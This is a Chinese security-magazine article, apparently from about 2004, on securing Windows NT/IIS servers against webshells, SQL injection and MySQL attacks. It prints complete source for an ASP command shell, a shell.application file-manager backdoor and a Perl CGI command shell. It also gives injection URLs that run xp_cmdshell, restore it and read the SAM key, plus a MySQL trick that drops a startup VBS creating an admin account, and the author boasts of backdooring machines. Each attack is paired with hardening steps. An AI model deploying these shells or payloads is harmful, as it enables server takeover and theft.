文章被发表在黑客防线第5期,是几个人合写的哟
惨的是竟然没有写我的名字,唯一想说的一句是fuck 黑防!
WinNT系统下权限设置与黑客的较量
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与黑客的较量,当然的的NT服务器不能是FAT32分区的,你的NT服务器必须采用NTFS分区,因为只有NTFS才能给你的服务器重要文件设置权限,如果是FAT32分区的,那就没有安全性可言了,以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。
随着网络的高速发展,现在朋友们都装上了宽带网,做虚拟主机生意的提供商生意当然也越来越好了,做网站的朋友也比往年多了起来,但是现在的黑客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell,以取得服务器的管理权,这是让服务器的管理员最头痛的事。黑客们通过各种 webshell 可以在服务器里运行CMD命令,还可以复制、删除文件,在线编辑文件,建立超级用户等。Webshell(也叫网页木马)在这里分很多种,如ASP、CGI、PHP、JSP的webshell都有,现在还流行 SQL 注入的xp_cmdshell等,都属于webshell中的其中一种,现在我们首先介绍的是黑客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出……,都能让黑客取得你服务器的管理权,但是你通过这小小的安全配置,黑客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的,相信吗?不信?请看下文!
攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。
一、基本ASP的WEBSHELL攻击与防范
以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):
例一、种使用脚本绑定CMD命令:
这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,黑客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,黑客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,黑客找到这个 webshell的WWW浏览地址,你的服务器一样会变成黑客的肉鸡,所以危害性极大。
如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c:\ 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。
下面附上这个 cmd.asp 脚本的源代码:
执行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
''从输入框得到cmd
On Error Resume Next
''如果出现错误,直接跳过,防止弹出错误窗口
set oScript=server.createobject("WSCRIPT.SHELL")
''建立shell(wshshell)对象
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:\"& oFileSys.GetTempName()
''GetTempName()是fso建立临时文件的一种方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
''调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
''以读的方式打开临时文件
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
''输出编码后的文件内容
oFile.close
''关闭文件
call oFileSys.DeleteFile(szTempFile,True)
''防止被抓住所以删除文件
%>
</body>
</html>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\winnt\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。
其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。
例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法
以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……
如下图所示:
防范方法:和例一的一样,这里不再重述。
后语:那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢?事实并不是这样的,因为ASP木马中还有一种是不需要FSO对像支持的,功能虽然并不是很强大,但是要黑一个网站的站,功能已经是很足够的了,这种木马令人防不胜防。以下请看例三。
例三:免FSO对像就能使用的ASP木马
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个漏洞,看来这个漏洞那些服务器网管们是非得好好维护一下才行了。以下是当你浏览这个ASP木马时,所出现的图例。就连黑客基地的服务器也存在相同的漏洞。经本人测试结果,只要使用WEHSHELL就能很容易地取得黑客基地的管理权,但人家说我是黑基的副站长,所以就不干这事了。(编辑同志,我写的黑基这段话你可以删除的哈,因为黑基的服务器并不安全,草民就曾经进去帮他们参观过了。只是我一直没有心情通知那些吹牛B,自己的服务器都维护不好,还要收费教人家安全维护服务器的牛人。至于现在黑基还有没有存在这些漏洞我就不知道了,因为没心情帮他们测试了。)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp''s shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") ''目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") ''建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") ''目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") ''建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") ''目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") ''建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") ''执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") ''建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。
防范免FSO支持的ASP木马方法如下:
通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立 shell 对像的,我们只要在注册表里查找键值shell.application和 wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。
二、构建免受 FSO 威胁虚拟主机
现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。
如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:
在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:
现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:
在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:
刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:
现在出现的是如下图所示,此时再点“添加”:
在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:
出现的就是如下图所示的内容,点“确定”关闭此对话框:
打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:
弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹:
暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:\VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:
此时会弹出如下图所示的“安全”警告,点“删除”:
此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。
将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!
再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:
在弹出的“验证方法”对方框(如下图所示),点“编辑”:
弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:
在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:
此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:
再确定一遍密码:
OK,完成了,点确定关闭这些对话框。
经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:\VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。
三、基于CGI、PHP、JSP的WEBSHELL及溢出攻击与防范
CGI、PHP、JSP脚本也能绑定CMD命令,但基本CGI的WEBSHELL功能权限与防范方法是不是都是一样的呢?答案是他们的WEBSHELL权限几本相同,大同小异,但防范的黑客使用脚本给你绑定CMD命令的方法却是完全不同的,因为别的语言脚本中要绑定CMD命令根本不需要FSO等对像的支持,所以就算你关了FSO对像,再在注册表里删除上面ASP的WEBSHELL中例三中的shell.application和 wscript.shell 键值,也不能防范这些脚本的WEBSHELL。
由于ASP、CGI、PHP、JSP通过脚本绑定CMD命令的方法都是大同小异的了,都能用一种很简单的方法就能完全防范这类的攻击,在此例中,我会把一种30秒内就能完成安全配置,让任何的脚本程序都没法通过远程调用你的CMD命令,以达到完全防范脚本绑定CMD的目的。WEBSHELL的攻击方法我们在这里就作一个最后举例。
下面举例:CGI的WEBSHELL攻击与防范
如下图所示,只要黑客把一个CMD.CGI的WEBSHELL传到你的服务器,那么黑客就能在你的服务器里调用CMD命令,并能运行你服务器里的所有CMD命令,如建立超级用户等,下图是使用这个CMD.CGI的WEBSHELL运行DIR C:\命令。如果黑客在你的服务器上传了这个东东,呵呵,你可是欲哭没泪了。
即使你重装了N次服务器的系统,打了N多的补丁,没用,只要你没删除这个WEBSHELL,黑客知道这个WEBSHELL的WWW的浏览地址,随时能把你的机器当肉鸡使用。我以前入侵的肉鸡就是在对方的虚拟主机目录下留下了这个东东,我把他叫不死后门吧,只要对方管理员不删除这个WEBSHELL,那么他的服务器永远是我的肉鸡,因为这个东东杀毒软件查不出来的哈。
下面给出这个CMD.CGI的代码(网络上也有很多黑客站提供下载的):
use CGI qw(:standard);
print header(-charset=>gb2312);
$cmd=param("cmd");
$out=`$cmd 2>&1`;
print start_form,textfield("cmd",$cmd,60);
print end_form;
print pre($out);
上面就是这个WEBSHELL的代码,还有一些PHP和JSP等的WEBSHELL,这里就不再作介绍了,因为攻击与防范的方法大同小异,通过上面这些例子,我们看出这几个 webshell 都是调用了NT系统下的 cmd.exe 命令来执行命令的,只要我们对NT系统下的 cmd.exe 文件设置一定的权限,呵呵,那么黑客的这些WEBSHELL都将没用武之地了。为了安全起见,我们还要对如 net.exe cacls.exe telnet.exe tftp.exe tftp.exe format.com mountvol.exe mshta.exe等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许来宾以上权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保真正的安全。这些危险的文件默认的情况下,都是存放在 C:\WINNT\SYSTEM32 的目录下的。设置权限的方法如下图所示,清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是 administrator 那么,你就在权限设置里只允许用户名为 administrator 的用户使用这些命令。
通过上面这些简单的设置,就能让那些绑定你服务器里的CMD命令的WEBSHELL全部失效,够简单吧。:)而且还能防止你的服务器在遭到黑客的溢出攻击成功后绑定CMD命令登陆你的服务器,道理很简单,比如目前流先的WEBDAV溢出,这些溢出攻击就是黑客通过溢出你的服务器后绑定你服务器里的CMD命令,然后TELNET登陆你的服务器,取得你服务器上的系统管理权的,但一般黑客溢出成功后,都是只能拥用SYSTEM权限绑定你服务器的CMD命令的,而你已经把CMD命令设置了禁止SYSTEM权限访问,只能使用你设置的唯一一个你正在使用的超级用户名去访问CMD命令。所以就算黑客成功溢出后,都不能绑定你的CMD命令,那么黑客就登陆不了你的服务器,你的服务器就是安全的了。
但这只能是相对的安全,因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的Serv-U溢出,如果你的FTP服务器使用了Serv-U的话,你又没有打上最新的安全补丁,让黑客溢出成功了,那么黑客可以不绑定你的CMD命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向黑客的机器连接,而黑客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,黑客不能正向与你的服务器联接木马后门,但黑客给你传一个反向连接的木马,这个木马是通过你的服务器连接黑客的机器的,只要你的服务器向黑客的机器发出连接请求,黑客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于NT系统下的CMD。可以反向连接木马的危害性。
那么我们如果防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及BlackICE防火墙等。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如黑客成功溢出了你的Serv-U服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的 C:\MM.EXE ,黑客所在IP地址是 192.168.0.18 ,现在黑客要对你服务器的这个反向连接木马进行连接,只要黑客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图所示:
通过这个例子,我们可以看出,只要我们给一些危险的命令如CMD等设置了权限,再安装一个可以防止反向连接木马的防火墙,那么那些所谓的溢出攻击将不能对你的服务器造成造害了。
四、MSSQL注入攻击的防护(本文是本站成员alpha写的)
Mssql注入攻击是比较直接和危害比较大的一种攻击方式,那些所谓的黑客们能够利用它直接取得系统权限。今天我们就来看看如何通过系统设置防止这种攻击:
首先要申明的是,并不是通过这个设置就能保证你的服务器的安全,安全是一个整体,然而整体又正是由这些部分构成的!
对策一:
伪黑客:
假设这个地方可以注入
http://localhost/bbs/news.asp?id=5
我们往往采取下面这种方法来攻击
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user alpha /add’---
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators alpha /add’---
好了,alpha已经是系统管理员了!
管理者:
如何防止呢?
看看他们是怎么实现的,通过调用SQL里的master里的扩展存储过程里的xp_cmdshell,(如下图),来执行系统指令!
我们只要点右键删除这个扩展存储,上面的攻击方法便不起作用了!
当然你也可以用下面这句:
sp_dropextendedproc ''xp_cmdshell''
来删除xp_cmdshell
对策二:
黑客对策,如果MSSQL数据库里xp_cmdshell扩展被删掉了,不用怕,我们还有方法的哟!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--
通过这样一条我们就又把xp_cmdshell给恢复了。
管理者:靠,看来我们的设置还不够彻底哟
好,在c盘里直接搜索xplog70.dll
如图
找到了,删了它,好了,这个世界清静了,至少那帮人不会直接执行系统指令了!!
对策三:
伪黑客:你以为这样就可以了吗?你错了哟,呵呵,我方法还是多多的哟!
只要你用的是sa账户,我就还有方法的哟
http://localhost/bbs/news.asp?id=5;exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY\SAM\Domains\Account'', ''F''
看看,说不定我们就能得到管理员的密码哟!
加一个启动项什么的自然不在话下。
管理者:
看来我得下狠的了,看我这样,我把这些扩展都删除了
Xp_regaddmultistring (向注册表中增加项目)
Xp_regdeletekey (从注册表中删除一个键)
Xp_regdeletevalue (从注册表中删除一个键值)
Xp_regenumvalues (列举主键下的键值)
Xp_regread (读去一个主键下的键值)
Xp_regremovemultistring (从注册表中删除项目)
Xp_regwrite (向注册表中写入数据)
看你嚣张,呵呵,想从注册表里面搞,没门!
对策四:
伪黑客:
不让搞注册表就算了,我可以搞别的地方的哟!我加一个sql的管理员还不行吗?
真是的!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,alpha,alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin alpha;--
看看,说不定那天等xp_cmdshell能用了,我就又是管理员了呢!
管理者:
算了,我不跟你罗嗦了,我不用sa连接数据库还不行?
我建一个权限低一点的账户,比如说建立一个名为 bbs的数据库
然后建一个 名为bbs的账户
确定然后我们再去bbs的用户下中设置一下:
给他分配一些基本的权限就可以了,
好了,如果用这个用户来连接bbs数据库,相对于用sa来说安全多了哟!
还有其他的很多很多的
比如:
删除多余的系统存储过程
sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive
定期检查用户登录情况
Use master
Select name,Password,Accdate
from syslogins
order by name
今天就说到这里了!
其实MSSQL的注入攻击防御还有很多很多东西哟!
比如导出特殊文件,破解网站密码,太多太多了,今天就简单给大家介绍这些
甚至我要说,即使你按这个设置了,你的系统还是危险的,还是脆弱的!
要想得到更安全的配置请继续关注服务器焦点哟!!!
五、简单的MYSQL数据库入侵防御问题(本文由服务器焦点成员 lonely 写的,有点烂)
在网络上,很多系统(win2k、linux)都安装了MYSQL数据库。的确,这个数据库非常受大家欢迎,但这么受欢迎的数据库安装完毕有个漏洞—就是数据库的ROOT的帐号密码为空,现在网络上很多机器都有这类毛病。
我曾经扫描了一个C类地址,竟发现数据库Root密码为空的机器多达89台,因为MYSQL不象MSSQL数据库那样可以调用XP-Shell命令,所以很多人找到这样的漏洞也不会利用。下面我就介绍一下,如何利用Win2k下Root密码为空的数据库:
如果你机器上安装了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 连接成功后,看看服务器有什么数据库:mysql>show databases MYSQL默认安装时会有MYSQL、TEST这两个数据库。 mysql>use test 进入test后,看看里面有什么数据:mysql>shows tables 那里什么也没有,那么我就在里面建立一个新表:mysql>create table lonely (abc text) 这里我创建了一个表名为lonely、字段为abc的表格。
我们再写一个增加Admin、密码为123的用户的命令。如下:
mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");
mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");
mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有没有输入错的地方: mysql>select*forma 输出表为一个VCS的脚本文件:mysql>select *from ainto autfile "c:\\docume~1\\alluse~1\\[开始] 菜单\\程序\\ceshi.vbs";
我们把表中的内容输入到启动组中,是一个VBS的脚本文件!注意“\”符号。现在所有工作都完成了,下面就是等机器重起,机器重起后,ceshi.vbs也会跟着启动,到时候他机器里就有用户为Admin、密码为:123的超级用户了。
防御方法:
对于这种攻击方法的防御最简单、安全的方法就是给MYSQL的Root用户增加口令。方法如下:
本地设置密码:mysql uroot password 密码
远程设置密码:grant select,update,delete on *..*to root@” identified by “密码”如下:
mysql>grant select,update,delete on *..*to root@” identified by"123">\c
mysql>grant select,update,delete on *..*to root@” identified by"123"query ok,0rous affected<0 34 see>
编后语:希望通过本文给各位朋友带来点帮助,写得还有很多不足之处,因为工作的原因,没有太多的时间把整个安全配置过程写得更详细,如需学习更多的服务器攻、防知识,请访问服务器焦点网站 http://www.serverfocus.net 或 http://www.cnhack.cn 。如有问题及建议请发E-mail至 netpk@cnhack.cn 。
http://hackbase.com/tech/2004-12-05/78249.html